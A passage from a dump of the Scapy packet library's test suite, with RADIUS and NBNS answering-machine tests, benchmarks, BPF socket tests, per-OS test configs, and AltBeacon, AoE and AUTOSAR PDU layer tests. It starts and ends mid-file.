Ether(b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\x08\\x00E\\x00\\x01\\n\\xff\\x82\\x00\\x00\\x80\\x11:]\\xac\\x13P\\x01\\xac\\x13W\\xdb\\x00\\x8a\\x00\\x8a\\x00\\xf6\\xd5\\xcb\\x10\\x02\\xde\\x9d\\xac\\x13P\\x01\\x00\\x8a\\x00\\xe0\\x00\\x00 EIEPFDFEDADBCACACACACACACACACAAA\\x00 FDEDEBFAFJCACACACACACACACACACABM\\x00\\xffSMB%\\x00\\x00\\x00\\x00\\x18\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x00\\x00\\x11\\x00\\x00@\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\\\\x00@\\x00\\\\\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x02\\x00W\\x00\\\\MAILSLOT\\\\NET\\\\NETLOGON\\x00\\x12\\x00\\x00\\x00H\\x00O\\x00S\\x00T\\x000\\x001\\x00\\x00\\x00\\x00\\x00\\\\MAILSLOT\\\\NET\\\\GETDC510CC0AD\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00 \\xff\\xff\\xff\\xff'),\n        check_NBNS_LdapPing_am_reply,\n        NetbiosComputerName=\"DC\",\n        NetbiosDomainName=\"SCAPY\",\n        DnsForestName=\"scapy.fr\")\n\n+ Radius_am\n~ crypto\n\n= Radius_am PAP - Test Access-Success\n\ndef check_radius_pap_reply_success(x):\n    x.show()\n    assert x[Radius].code == 2\n    assert len(x.attributes) == 1\n    assert isinstance(x.attributes[0], RadiusAttr_Message_Authenticator)\n    assert x.attributes[0].value == bytes.fromhex(\"75c0da1e492f6f51771a7a49b9136a6d\")\n    assert x.authenticator == bytes.fromhex(\"3dd94c06bc90accfab8168437821ded4\")\n\ntest_am(\n    Radius_am,\n    Ether(b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00Z\\x00\\x8e\\x00\\x00@\\x11|\\x03\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x9f<\\x07\\x14\\x00F\\xfeY\\x01\\xfb\\x00>s0\\x00\\x13\\x86x\\xd7\\x11\\xc4\\x9e\\xe1=\\xce&r<P\\x12\\xbfL!\\xb2\\xd5WP!\\xa8)}\\tYZ&*\\x01\\x06user\\x02\\x12\\x8f\\x00\\x8e\\xdb4\\xb1\\x1a\\xaf\\x1f\\xc7[\\x9aD\\xfff\\xbd'),\n    check_radius_pap_reply_success,\n    secret=\"SECRET\",\n    IDENTITIES={\"user\": \"password\"}\n)\n\n= Radius_am PAP - Test Access-Reject\n\ndef check_radius_pap_reply_fail(x):\n    x.show()\n    assert x[Radius].code == 3\n    assert len(x.attributes) == 1\n    assert isinstance(x.attributes[0], RadiusAttr_Message_Authenticator)\n    assert x.attributes[0].value == bytes.fromhex(\"9a0efbce86998e53fc9228293ebad3d0\")\n    assert x.authenticator == bytes.fromhex(\"cce9bcadab26e276f8c6513ad4ee5d87\")\n\ntest_am(\n    Radius_am,\n    Ether(b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00ZH$\\x00\\x00@\\x114m\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\xb4F\\x07\\x14\\x00F\\xfeY\\x01V\\x00>\\x15\\xa7J\\x8an+\\xe2\\x8a\\xe9Lx\\xa0h\\x0e\\r\\xbaP\\x12%\\x87Sg;\\xab\\x93\\x95\\xb5o\\x925\\xc7h\\x88\\x01\\x01\\x06user\\x02\\x12\\x99\\xbc\\x970\\x847\\x95L\\x86JeD\\xf8\\xea\\x87\\x00'),\n    check_radius_pap_reply_fail,\n    secret=\"SECRET\",\n    IDENTITIES={\"user\": \"password\"}\n)\n\n= Radius_am MS-CHAP2 - Test Access-Success\n\ndef check_radius_mschap2_reply_success(x):\n    x.show()\n    assert x[Radius].code == 2\n    assert len(x.attributes) == 2\n    assert isinstance(x.attributes[0], RadiusAttr_Message_Authenticator)\n    assert x.attributes[0].value == bytes.fromhex(\"5ab34c3b0554fb14f2d5bf7f521914eb\")\n    assert x.authenticator == bytes.fromhex(\"c40000ef60fb3c413e2112afb3c7c7d5\")\n    assert isinstance(x.attributes[1], RadiusAttr_Vendor_Specific)\n    chap2_success = x.attributes[1].value\n    assert isinstance(chap2_success, MS_CHAP2_Success)\n    assert chap2_success.String == b'S=46317A3248777BF4D9FAFF4BF4034DC996B740D9'\n    assert bytes(x[Radius]) == b'\\x02\\x01\\x00Y\\xc4\\x00\\x00\\xef`\\xfb<A>!\\x12\\xaf\\xb3\\xc7\\xc7\\xd5P\\x12Z\\xb3L;\\x05T\\xfb\\x14\\xf2\\xd5\\xbf\\x7fR\\x19\\x14\\xeb\\x1a3\\x00\\x00\\x017\\x1a-\\x00S=46317A3248777BF4D9FAFF4BF4034DC996B740D9'\n\ntest_am(\n    Radius_am,\n    Ether(b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00\\xado\\x90@\\x00@\\x11\\xcc\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\xe1\\xea\\x07\\x14\\x00\\x99\\xfe\\xac\\x01\\x01\\x00\\x91\\xe3\\x99\\x1b\\xec\\x1e\\x82\\x8a\\xfcb\\xf6\\xbf\\x824\\x13\\xc8\\x1d\\x04\\x06\\x7f\\x00\\x01\\x01 \\x07mynas\\x01\\x06user\\x06\\x06\\x00\\x00\\x00\\x01\\x1a\\x18\\x00\\x00\\x017\\x0b\\x12(\\xa0\\x18u\\x0c\\x13\\x8c~@\\xb71\\xa1\\xe9\\xfd\\x1e\\xdc\\x1a:\\x00\\x00\\x017\\x194\\x00\\x00\\xe2\\x1fY\\xd4O8\\x8b\\xc6\\xf3\\x07\\xd6\\xe5?:3!\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00g-\\xd8%\\x03\\x04\\xed\\xa7\\xc6O\\x83\"\\xdc\\xe2\\x07\\xaa\\xf8\\x15\\xed\\xc3~\\x08GHP\\x12/)\\xa2\\t\\x9dA8\\xf9>\\xa7V\\xba\\xf6\\xf0LG'),\n    check_radius_mschap2_reply_success,\n    secret=\"SECRET\",\n    IDENTITIES={\"user\": \"password\"}\n)\n\n= Radius_am MS-CHAP2 - Test Access-Reject\n\ndef check_radius_mschap2_reply_fail(x):\n    x.show()\n    assert x[Radius].code == 3\n    assert len(x.attributes) == 2\n    assert isinstance(x.attributes[0], RadiusAttr_Message_Authenticator)\n    assert x.attributes[0].value == bytes.fromhex(\"df430d94a4992ca0d38acf02a1fa94f0\")\n    assert x.authenticator == bytes.fromhex(\"e0d5cf468ffdf714ed4a40aea1a5715f\")\n    assert isinstance(x.attributes[1], RadiusAttr_Vendor_Specific)\n    chap2_error = x.attributes[1].value\n    assert isinstance(chap2_error, MS_CHAP_Error)\n    assert chap2_error.String == b'E=691 R=0 V=3'\n    assert bytes(x[Radius]) == b'\\x03\\x01\\x00<\\xe0\\xd5\\xcfF\\x8f\\xfd\\xf7\\x14\\xedJ@\\xae\\xa1\\xa5q_P\\x12\\xdfC\\r\\x94\\xa4\\x99,\\xa0\\xd3\\x8a\\xcf\\x02\\xa1\\xfa\\x94\\xf0\\x1a\\x16\\x00\\x00\\x017\\x02\\x10\\x00E=691 R=0 V=3'\n\ntest_am(\n    Radius_am,\n    Ether(b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00\\xad\\xca\\xd1@\\x00@\\x11ql\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\xe9\\x1b\\x07\\x14\\x00\\x99\\xfe\\xac\\x01\\x01\\x00\\x91\\xc0{%t\\xdd\\x8eQC\\xda\\x861\\x11\\xf9\\xd0\\xb2j\\x04\\x06\\x7f\\x00\\x01\\x01 \\x07mynas\\x01\\x06user\\x06\\x06\\x00\\x00\\x00\\x01\\x1a\\x18\\x00\\x00\\x017\\x0b\\x12\\xd8\\x07\\xbf\\x15N\\xfb\\x9a;\\x0f\\xd8\\x14\\x7f\\xae\\xe2\\xe3e\\x1a:\\x00\\x00\\x017\\x194\\x00\\x00\\x8e\\x8d\\xe0\\x81\\x15]8\\xb5j\\x7f`\\x14\\xe0f]\\xa6\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x88\\x07\\xfb\\xf9\\x08H\\xb5\\x81\\x87\\xdc\\x02\\x90\\x04\\xb0\\xaf\\x11\\x0c\\x9a\\rwQ\\xd4\\xcaiP\\x12\\x85\\xfeMzd\\xaf\\x00\\xaa\\x12\\xe2\\x910\\xea\\xea\\xb6\\xf3'),\n    check_radius_mschap2_reply_fail,\n    secret=\"SECRET\",\n    IDENTITIES={\"user\": \"password\"}\n)\n"
  },
  {
    "path": "test/benchmark/common.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Guillaume Valadon\n\nimport os\nimport sys\n\nscapy_path = os.path.abspath(os.path.join(os.path.dirname(__file__), \"..\", \"..\"))\nsys.path.append(scapy_path)\n\nfrom scapy.all import *\n\nprint(\"Scapy %s - Benchmarks\" % VERSION)\nprint(\"Python %s\" % sys.version.replace(\"\\n\", \"\"))\n"
  },
  {
    "path": "test/benchmark/dissection_and_build.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Guillaume Valadon\n\nfrom common import *\nimport time\n\nN = 10000\nraw_packet = b'E\\x00\\x00(\\x00\\x01\\x00\\x00@\\x11|\\xc2\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x00\\x14\\x00Z\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\nstart = time.time()\nfor i in range(N):\n    p = IP(dst=\"127.0.0.1\", src=\"127.0.0.1\") / UDP() / DNS()\n    assert raw(p) == raw_packet\nprint(\"Build - %.2fs\" % (time.time() - start))\n\nstart = time.time()\nfor i in range(N):\n    p = IP(raw_packet)\n    assert DNS in p\nprint(\"Dissect - %.2fs\" % (time.time() - start))\n\nstart = time.time()\nfor i in range(N):\n    p = IP(dst=\"127.0.0.1\", src=\"127.0.0.1\") / UDP() / DNS()\n    s = raw(p)\n    assert s == raw_packet\n    p = IP(s)\n    assert DNS in p\nprint(\"Build & dissect - %.2fs\" % (time.time() - start))\n"
  },
  {
    "path": "test/benchmark/latency_router.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\n# https://github.com/secdev/scapy/issues/1791\n\nfrom common import *\n\n# Router IP\ndest = conf.route.route(\"0.0.0.0\")[2]\n\nsend_tcp = True\nsend_icmp = False\n\npkts = []\nfor i in range(1,50):\n    a = IP(dst=dest) / TCP(flags=\"S\", seq=i, sport=65000, dport=55556)\n    b = IP(dst=dest)/ICMP()\n    if send_tcp:\n        pkts.append(a)\n    if send_icmp:\n        pkts.append(b)\n\nans, unans = sr(pkts, filter=\"host {0}\".format(dest), inter=0, timeout=1, prebuild=True)\n\nprint(\"scapy version: {}\".format(conf.version))\n\naverage = 0\n\nfor pkt in ans:\n    sent = pkt[0]\n    received = pkt[1]\n    res = (received.time - sent.sent_time)\n    average += res\n    print(\"%s %s : %s\" % (received.time, sent.sent_time, res))\n\nprint(\"AVERAGE RESPONSE TIME: %ss\" % (average / len(ans)))\n"
  },
  {
    "path": "test/bpf.uts",
    "content": "% Regression tests for Scapy BPF mode\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n+ Addresses manipulation functions\n\n= Get the packet IPv4 address configured on conf.iface\n\nget_if_raw_addr(conf.iface)\n\n\n= Get the MAC address of conf.iface\n\nget_if_hwaddr(conf.iface)\n\n= Get the MAC address of conf.loopback_name\n\nget_if_hwaddr(conf.loopback_name) == \"00:00:00:00:00:00\"\n\n\n############\n############\n+ BPF related functions\n\n= Imports\n\nfrom scapy.arch.bpf.supersocket import L3bpfSocket, L2bpfListenSocket, L2bpfSocket\n\n= Get a BPF handler\n~ needs_root\n\nfrom scapy.arch.bpf.supersocket import get_dev_bpf\nfd, _ = get_dev_bpf()\n\n= Attach a BPF filter\n~ needs_root libpcap\n\nfrom scapy.arch.bpf.supersocket import attach_filter\nattach_filter(fd, \"arp or icmp\", conf.iface)\n\n\n= Get network interfaces list\n\niflist = get_if_list()\nlen(iflist) > 0\n\n= Misc functions\n~ needs_root\n\nfrom scapy.arch.bpf.supersocket import bpf_select\n\nl = bpf_select([L2bpfSocket()])\nl = bpf_select([L2bpfSocket(), sys.stdin.fileno()])\n\n\n############\n############\n+ BPF sockets\n\n= L2bpfListenSocket - initialization variants\n~ needs_root\n\nL2bpfListenSocket()\nL2bpfListenSocket(iface=conf.iface)\nL2bpfListenSocket(promisc=True)\nL2bpfListenSocket(filter=\"icmp\")\nL2bpfListenSocket(iface=conf.iface, promisc=True, filter=\"icmp\")\n\n\n= L2bpfListenSocket - set_*()\n~ needs_root\n\ns = L2bpfListenSocket()\ns.set_promisc(0)\ns.set_nonblock(1)\ns.set_promisc(0)\ns.close()\n\ns = L2bpfListenSocket()\ns.set_nonblock(set_flag=False)\ns.set_nonblock(set_flag=True)\ns.set_nonblock(set_flag=False)\ns.close()\n\n= L2bpfListenSocket - get_*()\n~ needs_root\n\ns = L2bpfListenSocket()\nblen = s.get_blen()\nblen > 0 and type(blen) == int\ns.close()\n\ns = L2bpfListenSocket()\nstats = s.get_stats()\nlen(stats) == 2 and type(stats) == tuple\ns.close()\n\n\n= L2bpfListenSocket - other methods\n~ needs_root\n\ns = L2bpfListenSocket()\ntype(s.fileno()) == int\ns.close()\n\ns = L2bpfListenSocket()\nguessed = s.guess_cls()\nissubclass(guessed, Packet)\ns.close()\n\n= L2bpfListenSocket - read failure\n~ needs_root\n\nfrom unittest import mock\n\n@mock.patch(\"scapy.arch.bpf.supersocket.os.read\")\ndef _test_osread(osread):\n    osread.side_effect = OSError()\n    s = L2bpfListenSocket()\n    assert s.recv_raw() == (None, None, None)\n\n_test_osread()\n\n= L2bpfSocket - nonblock_recv()\n~ needs_root\n\ns = L2bpfSocket()\ns.nonblock_recv()\ns.close()\n\n\n= L*bpfSocket - send()        \n~ needs_root\n                              \ns = L2bpfSocket()             \ns.send(Ether()/IP(dst=\"8.8.8.8\")/ICMP())\n                              \ns = L3bpfSocket()             \ns.send(IP(dst=\"8.8.8.8\")/ICMP())\n                              \ns = L3bpfSocket()             \ns.assigned_interface = conf.loopback_name\ns.send(IP(dst=\"8.8.8.8\")/ICMP())\n\n= L3bpfSocket - send and sniff on loopback\n~ needs_root\n\nlocalhost_ip = conf.ifaces[conf.loopback_name].ips[4][0]\n\ndef cb():\n    # Send a ping to the loopback IP.\n    s = L3bpfSocket(iface=conf.loopback_name)\n    s.send(IP(dst=localhost_ip)/ICMP(seq=1001))\n\nt = AsyncSniffer(iface=conf.loopback_name, started_callback=cb)\nt.start()\ntime.sleep(1)\nt.stop()\nt.join(timeout=1)\n\n# We expect to see our packet and kernel's response.\nlen(t.results.filter(lambda p: (\n    IP in p and ICMP in p and (p[IP].src == localhost_ip or p[IP].dst == localhost_ip) and p[ICMP].seq == 1001))) == 2\n"
  },
  {
    "path": "test/configs/README.md",
    "content": "### UTscapy configs\n\n- OS specifics: bsd, linux, solaris, windows\n- Other:\n  - cryptography -> used for downstream testing by pyca/cryptography\n"
  },
  {
    "path": "test/configs/bsd.utsc",
    "content": "{\n  \"testfiles\": [\n    \"test/*.uts\",\n    \"test/scapy/layers/*.uts\",\n    \"test/scapy/layers/tls/*.uts\",\n    \"test/scapy/layers/msrpce/*.uts\",\n    \"test/contrib/automotive/*.uts\",\n    \"test/contrib/automotive/obd/*.uts\",\n    \"test/contrib/automotive/scanner/*.uts\",\n    \"test/contrib/automotive/gm/*.uts\",\n    \"test/contrib/automotive/bmw/*.uts\",\n    \"test/contrib/automotive/xcp/*.uts\",\n    \"test/contrib/automotive/autosar/*.uts\",\n    \"test/contrib/*.uts\"\n  ],\n  \"remove_testfiles\": [\n    \"test/linux.uts\",\n    \"test/windows.uts\",\n    \"test/contrib/automotive/ecu_am.uts\",\n    \"test/contrib/automotive/gm/gmlanutils.uts\",\n    \"test/contrib/isotp_packet.uts\",\n    \"test/contrib/isotpscan.uts\",\n    \"test/contrib/isotp_soft_socket.uts\"\n  ],\n  \"onlyfailed\": true,\n  \"extensions\": [\"scapy-rpc\"],\n  \"preexec\": {\n    \"test/contrib/*.uts\": \"load_contrib(\\\"%name%\\\")\",\n    \"test/cert.uts\": \"load_layer(\\\"tls\\\")\",\n    \"test/sslv2.uts\": \"load_layer(\\\"tls\\\")\",\n    \"test/scapy/layers/tls/*.uts\": \"load_layer(\\\"tls\\\")\"\n  },\n  \"kw_ko\": [\n    \"linux\",\n    \"windows\",\n    \"ipv6\",\n    \"vcan_socket\",\n    \"tun\",\n    \"tap\"\n  ]\n}\n"
  },
  {
    "path": "test/configs/cryptography.utsc",
    "content": "{\n  \"testfiles\": [\n    \"test/contrib/macsec.uts\",\n    \"test/scapy/layers/dot11.uts\",\n    \"test/scapy/layers/ipsec.uts\",\n    \"test/scapy/layers/kerberos.uts\",\n    \"test/scapy/layers/ntlm.uts\",\n    \"test/scapy/layers/msrpce/msnrpc.uts\",\n    \"test/scapy/layers/tls/cert.uts\",\n    \"test/scapy/layers/tls/tls*.uts\"\n  ],\n  \"breakfailed\": true,\n  \"onlyfailed\": true,\n  \"preexec\": {\n    \"test/contrib/*.uts\": \"load_contrib(\\\"%name%\\\")\",\n    \"test/scapy/layers/tls/*.uts\": \"load_layer(\\\"tls\\\")\"\n  },\n  \"kw_ko\": [\n    \"needs_root\"\n  ]\n}\n"
  },
  {
    "path": "test/configs/linux.utsc",
    "content": "{\n  \"testfiles\": [\n    \"test/*.uts\",\n    \"test/scapy/layers/*.uts\",\n    \"test/scapy/layers/tls/*.uts\",\n    \"test/scapy/layers/msrpce/*.uts\",\n    \"test/contrib/*.uts\",\n    \"test/tools/*.uts\",\n    \"test/contrib/automotive/*.uts\",\n    \"test/contrib/automotive/obd/*.uts\",\n    \"test/contrib/automotive/scanner/*.uts\",\n    \"test/contrib/automotive/gm/*.uts\",\n    \"test/contrib/automotive/bmw/*.uts\",\n    \"test/contrib/automotive/xcp/*.uts\",\n    \"test/contrib/automotive/autosar/*.uts\"\n  ],\n  \"remove_testfiles\": [\n    \"test/windows.uts\",\n    \"test/bpf.uts\"\n  ],\n  \"breakfailed\": true,\n  \"onlyfailed\": true,\n  \"extensions\": [\"scapy-rpc\"],\n  \"preexec\": {\n    \"test/contrib/*.uts\": \"load_contrib(\\\"%name%\\\")\",\n    \"test/scapy/layers/tls/*.uts\": \"load_layer(\\\"tls\\\")\"\n  },\n  \"kw_ko\": [\n    \"osx\",\n    \"windows\",\n    \"ipv6\"\n  ]\n}\n"
  },
  {
    "path": "test/configs/scapy-rpc.utsc",
    "content": "{\n  \"testfiles\": [\n    \"test/scapy/layers/dcerpc.uts\",\n    \"test/scapy/layers/msrpce/*.uts\"\n  ],\n  \"extensions\": [\"scapy-rpc\"],\n  \"breakfailed\": true,\n  \"onlyfailed\": true\n}\n"
  },
  {
    "path": "test/configs/solaris.utsc",
    "content": "{\n  \"testfiles\": [\n    \"test/*.uts\",\n    \"test/scapy/layers/*.uts\",\n    \"test/contrib/automotive/*.uts\",\n    \"test/contrib/automotive/obd/*.uts\",\n    \"test/contrib/automotive/scanner/*.uts\",\n    \"test/contrib/automotive/gm/*.uts\",\n    \"test/contrib/automotive/bmw/*.uts\",\n    \"test/contrib/automotive/xcp/*.uts\",\n    \"test/contrib/automotive/autosar/*.uts\",\n    \"test/contrib/*.uts\"\n  ],\n  \"remove_testfiles\": [\n    \"test/linux.uts\",\n    \"test/bpf.uts\",\n    \"test/windows.uts\",\n    \"test/contrib/automotive/ecu_am.uts\",\n    \"test/contrib/automotive/gm/gmlanutils.uts\",\n    \"test/contrib/isotp.uts\",\n    \"test/contrib/isotpscan.uts\"\n  ],\n  \"onlyfailed\": true,\n  \"preexec\": {\n    \"test/contrib/*.uts\": \"load_contrib(\\\"%name%\\\")\",\n    \"test/cert.uts\": \"load_layer(\\\"tls\\\")\",\n    \"test/sslv2.uts\": \"load_layer(\\\"tls\\\")\",\n    \"test/tls*.uts\": \"load_layer(\\\"tls\\\")\"\n  },\n  \"kw_ko\": [\n    \"osx\",\n    \"linux\",\n    \"windows\",\n    \"crypto_advanced\",\n    \"ipv6\",\n    \"tap\",\n    \"tun\",\n    \"vcan_socket\"\n  ]\n}\n"
  },
  {
    "path": "test/configs/windows.utsc",
    "content": "{\n  \"testfiles\": [\n    \"test\\\\*.uts\",\n    \"test\\\\scapy\\\\layers\\\\*.uts\",\n    \"test\\\\scapy\\\\layers\\\\tls\\\\*.uts\",\n    \"test\\\\scapy\\\\layers\\\\msrpce\\\\*.uts\",\n    \"test\\\\contrib\\\\automotive\\\\obd\\\\*.uts\",\n    \"test\\\\contrib\\\\automotive\\\\scanner\\\\*.uts\",\n    \"test\\\\contrib\\\\automotive\\\\gm\\\\*.uts\",\n    \"test\\\\contrib\\\\automotive\\\\bmw\\\\*.uts\",\n    \"test\\\\contrib\\\\automotive\\\\xcp\\\\*.uts\",\n    \"test\\\\contrib\\\\automotive\\\\*.uts\",\n    \"test\\\\contrib\\\\automotive\\\\autosar\\\\*.uts\",\n    \"test\\\\contrib\\\\*.uts\"\n  ],\n  \"remove_testfiles\": [\n    \"test\\\\bpf.uts\",\n    \"test\\\\linux.uts\"\n  ],\n  \"breakfailed\": true,\n  \"onlyfailed\": true,\n  \"extensions\": [\"scapy-rpc\"],\n  \"preexec\": {\n    \"test\\\\contrib\\\\*.uts\": \"load_contrib(\\\"%name%\\\")\",\n    \"test\\\\scapy\\\\layers\\\\tls\\\\*.uts\": \"load_layer(\\\"tls\\\")\"\n  },\n  \"kw_ko\": [\n    \"as_resolvers\",\n    \"brotli\",\n    \"broken_windows\",\n    \"ipv6\",\n    \"linux\",\n    \"native_tls13\",\n    \"mock_read_routes_bsd\",\n    \"open_ssl_client\",\n    \"osx\",\n    \"require_gui\",\n    \"tap\",\n    \"tun\",\n    \"vcan_socket\",\n    \"zstd\"\n  ]\n}\n"
  },
  {
    "path": "test/configs/windows2.utsc",
    "content": "{\n  \"testfiles\": [\n    \"*.uts\",\n    \"scapy\\\\layers\\\\*.uts\",\n    \"scapy\\\\layers\\\\tls\\\\*.uts\",\n    \"scapy\\\\layers\\\\msrpce\\\\*.uts\",\n    \"contrib\\\\automotive\\\\obd\\\\*.uts\",\n    \"contrib\\\\automotive\\\\gm\\\\*.uts\",\n    \"contrib\\\\automotive\\\\bmw\\\\*.uts\",\n    \"contrib\\\\automotive\\\\*.uts\",\n    \"contrib\\\\automotive\\\\autosar\\\\*.uts\",\n    \"contrib\\\\*.uts\"\n  ],\n  \"remove_testfiles\": [\n    \"bpf.uts\",\n    \"linux.uts\"\n  ],\n  \"breakfailed\": true,\n  \"onlyfailed\": true,\n  \"extensions\": [\"scapy-rpc\"],\n  \"preexec\": {\n    \"contrib\\\\*.uts\": \"load_contrib(\\\"%name%\\\")\",\n    \"scapy\\\\layers\\\\tls\\\\*.uts\": \"load_layer(\\\"tls\\\")\"\n  },\n  \"format\": \"html\",\n  \"kw_ko\": [\n    \"osx\",\n    \"linux\",\n    \"broken_windows\",\n    \"crypto_advanced\",\n    \"mock_read_routes_bsd\",\n    \"ci_only\",\n    \"open_ssl_client\",\n    \"vcan_socket\",\n    \"ipv6\",\n    \"manufdb\",\n    \"tcpdump\",\n    \"tap\",\n    \"tun\",\n    \"tshark\"\n  ]\n}\n"
  },
  {
    "path": "test/contrib/altbeacon.uts",
    "content": "% AltBeacon unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('altbeacon')\" -t test/contrib/altbeacon.uts\n#\n# AltBeaconParser tests adapted from:\n# https://github.com/AltBeacon/android-beacon-library/blob/master/lib/src/test/java/org/altbeacon/beacon/AltBeaconParserTest.java\n\n+ AltBeacon tests\n\n= Setup\n\ndef next_eir(p):\n   return EIR_Hdr(p[Padding].load)\n\n= Presence check\n\nAltBeacon\n\n= AltBeaconParserTest.testRecognizeBeacon\n\nd = hex_bytes('02011a1bff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600010002c509')\np = EIR_Hdr(d)\n\n# First is a flags header\nassert EIR_Flags in p\n\n# Then the AltBeacon\np = next_eir(p)\nassert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG\nassert p[AltBeacon].mfg_reserved == 9\n\n\n= AltBeaconParserTest.testDetectsDaveMHardwareBeacon\n\nd = hex_bytes('02011a1bff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600050003be020e09526164426561636f6e20555342020a03000000000000000000000000')\np = EIR_Hdr(d)\n\n# First is Flags\nassert EIR_Flags in p\n\n# Then the AltBeacon\np = next_eir(p)\nassert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG\nassert AltBeacon in p\n\n# Then CompleteLocalName\np = next_eir(p)\nassert p[EIR_CompleteLocalName].local_name == b'RadBeacon USB'\n\n# Then TX_Power_Level\np = next_eir(p)\nassert p[EIR_TX_Power_Level].level == 3\n\n= AltBeaconParserTest.testParseWrongFormatReturnsNothing\n\nd = hex_bytes('02011a1aff1801ffff2f234454cf6d4a0fadf2f4911ba9ffa600010002c509')\np = EIR_Hdr(d)\n\n# First is Flags\nassert EIR_Flags in p\n\n# Then the EIR_Manufacturer_Specific_Data\np = next_eir(p)\nassert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG\nassert AltBeacon not in p\n\n= AltBeaconParserTest.testParsesBeaconMissingDataField\n\nd = hex_bytes('02011a1aff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600010002c50000')\np = EIR_Hdr(d)\n\n# First is Flags\nassert EIR_Flags in p\n\n# Then the EIR_Manufacturer_Specific_Data\np = next_eir(p)\nassert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG\nassert p[AltBeacon].id1 == uuid.UUID('2f234454-cf6d-4a0f-adf2-f4911ba9ffa6')\nassert p[AltBeacon].id2 == 1\nassert p[AltBeacon].id3 == 2\nassert p[AltBeacon].tx_power == -59\n\n= Build EIR\n\np = AltBeacon(\n    id1=uuid.UUID('2f234454-cf6d-4a0f-adf2-f4911ba9ffa6'),\n    id2=1,\n    id3=2,\n    tx_power=-59,\n)\n\nd = raw(p.build_eir()[-1])\nassert d == hex_bytes('1bff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600010002c500')\n"
  },
  {
    "path": "test/contrib/aoe.uts",
    "content": "% Regression tests for aoe module\n############\n############\n+  Basic tests\n\n= Build - Check Ethertype\n\na = Ether(src=\"00:01:02:03:04:05\")\nb = AOE()\nc = a / b\nassert c[Ether].type == 0x88a2\n\n= Build - Check default\n\np = AOE()\nassert hasattr(p, \"q_conf_info\")\n\n= Build - Check Issue ATA command\n\np = AOE()\np.cmd = 0\n\nassert hasattr(p, \"i_ata_cmd\")\n\n= Build - Check Query Config Information\n\np = AOE()\np.cmd = 1\n\nassert hasattr(p, \"q_conf_info\")\n\n= Build - Check Mac Mask List\n\np = AOE()\np.cmd = 2\n\nassert hasattr(p, \"mac_m_list\")\n\n= Build - Check ReserveRelease\n\np = AOE()\np.cmd = 3\n\nassert hasattr(p, \"res_rel\")\n"
  },
  {
    "path": "test/contrib/automotive/autosar/pdu.uts",
    "content": "% Regression tests for the PDUTransport / PDU layer\n\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n\n+ PDUTransport contrib tests\n\n= Load Contrib Layer\n\nload_contrib(\"automotive.autosar.pdu\", globals_dict=globals())\n\n= Defaults test\n\np = PDUTransport()\nassert p.pdus == [PDU()]\n\np = PDU()\nassert p.pdu_id == 0\nassert p.pdu_payload_len == None\n\n= Build test pdu_id\np = PDU(bytes(PDU(pdu_id=0x11)))\nassert len(bytes(p)) == 8\nassert p.pdu_id == 0x11\nassert p.pdu_payload_len == 0\n\n= Build test pdu_payload_len\np = PDU(bytes(PDU(pdu_payload_len=12)))\nassert len(p) == 8\nassert p.pdu_id == 0\nassert p.pdu_payload_len == 12\n\n= Build test id and payload len with data\np = PDU(bytes(PDU(pdu_id=0x12, pdu_payload_len=2) / Raw(b'\\x22\\x33')))\nassert len(p) == 10\nassert p.pdu_id == 0x12\nassert p.pdu_payload_len == 2\nassert len(p['Raw']) == 2\nassert bytes(p['Raw']) == b'\\x22\\x33'\n\n= Build PDUTransport with multiple PDU packets\np1 = PDUTransport(b'\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x11'\nb'\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x11\\x44'\nb'\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x03\\x11\\x33\\x91')\np2 = PDUTransport(bytes(PDUTransport(pdus=[PDU(pdu_id=0x1,pdu_payload_len=1)/Raw(b'\\x11'), # noqa: E501\nPDU(pdu_id=0x2, pdu_payload_len=2) / 